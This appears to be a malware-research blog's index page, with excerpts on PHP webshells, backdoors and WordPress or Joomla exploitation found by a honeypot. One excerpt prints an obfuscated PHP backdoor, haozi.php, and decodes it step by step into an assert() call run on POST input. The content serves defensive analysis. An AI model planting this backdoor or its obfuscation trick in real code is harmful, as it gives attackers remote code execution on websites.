We found very old and hidden WordPress cookie, which named wp_cookie. This allows an attacker to run anything on the compromised user website with user permissions. wp_cookie This is a very clever attack method that allows arbitrary commands to run on a server with ignoring any server security software, just like normal PHP code. Also, … Read more
Today we found new Thumbs.php encoded malware, which trying to hide PHP code to unreadable. This technique is not nothing new, so this is very easy de-obfuscate PHP code and make it readable again. After we manually decoded this PHP malware, we found again FilesMan backdoor which is PHP command shell. Decoded Thumbs.php FilesMan – … Read more
Our honeybot catch up again new malware, which is very simple but clever. First look this looks nothing, because there are many PHP style comments in code. haozi.php @$_=”s”.”s”./*-/*-*/”e”./*-/*-*/”r”;@$_=/*-/*-*/”a”./*-/*-*/$_./*-/*-*/”t”;@$_/*-/*-*/($/*-/*-*/{“_P”./*-/*-*/”OS”./*-/*-*/”T”}[/*-/*-*/0/*-/*-*/]); If we remove comment’s away, then code look’s like: @$_=”s”.”s”.”e”.”r”;@$_=”a”.$_.”t”;@$_(${“_P”.”OS”.”T”}[0]); Final if we put this more readable, this is Assert POST: @$_=”a”.”s”.”s”.”e”.”r”.”t”;@$_(${“_P”.”OS”.”T”}[0]); Final Decoded haozi.php @assert(${“_POST”}[0]); … Read more
Last few days we have seen very much attacks this old Pagelines WordPress theme vulnerability. Sucuri discovered Pagelines vulnerability on January 2015. Technical Details Any website using vulnerable version of the platform theme (<1.4.4) is risk Privilege Escalation and Remote Code Execution. ModSecurity Audit log, Payload [27/May/2017:02:32:09 +0300] WSi6@VQikyQAAErqcawAAAAg 93.170.77.90 37930 127.0.0.1 80 –5367c063-B– POST … Read more
The malware is a PHP File Manager – a script, which when installed on a compromised system, presents a sophisticated administration platform allowing the attacker to browse the filesystem of the compromised server, upload, create, edit, download or delete files. CowoKerensTeam File Manager Today we found new PHP webshell, what we have not seen before … Read more
This case.php malware uses Obfuscation PHP code. Decoding Obfuscation There is tools to Decoding ObfuscatePHP code: https://www.unphp.net http://ddecode.com/phpdecoder/ http://lombokcyber.com/en/detools/decode-fopo ,but they don’t always work as except. That’s why we decrypted this manually. Source case.php Again, this malware tries load more backdoor files to the server to get full control. plug.php FilesMan Shell FilesMan Shell crypted … Read more
The malware is a PHP webshell – a script, which when installed on a compromised system, presents a sophisticated administration platform allowing the attacker to browse the filesystem of the compromised server, upload, create, edit, download, or delete files. filebox.php login screen Today we found a new PHP webshell, which we have not seen before … Read more
In WordPress themes there are lots of file upload vulnerabilities. This trying upload embrace.php file to server and execute it embrace.php wp-info.php This malware can infect more and more malwares to server and get full control it. Final words Websites that using Malware Expert – ModSecurity rules are protected against this attack. Use Malware Expert … Read more
Again we found new malware, that trying using php shell_exec function to download and include more malware to server. POST Payload This looks like joomla file upload vulnerability: Payload trying upload proc.php file to server and execute it: proc.php p.sh It’s trying download p.sh bash script and execute it. When it executed it remove itself … Read more
Today we are very happy new distribution channel. Sanesecurity started sharing our Malware signatures via their distribution channels worldwide to new servers. Sanesecurity signatures Sanesecurity produces add-ons signatures to help improve the ClamAV detection rate on Zero-Day malware and even on Zero-Hour malware. Also add-on signatures provide enhanced email security against the following email types: … Read more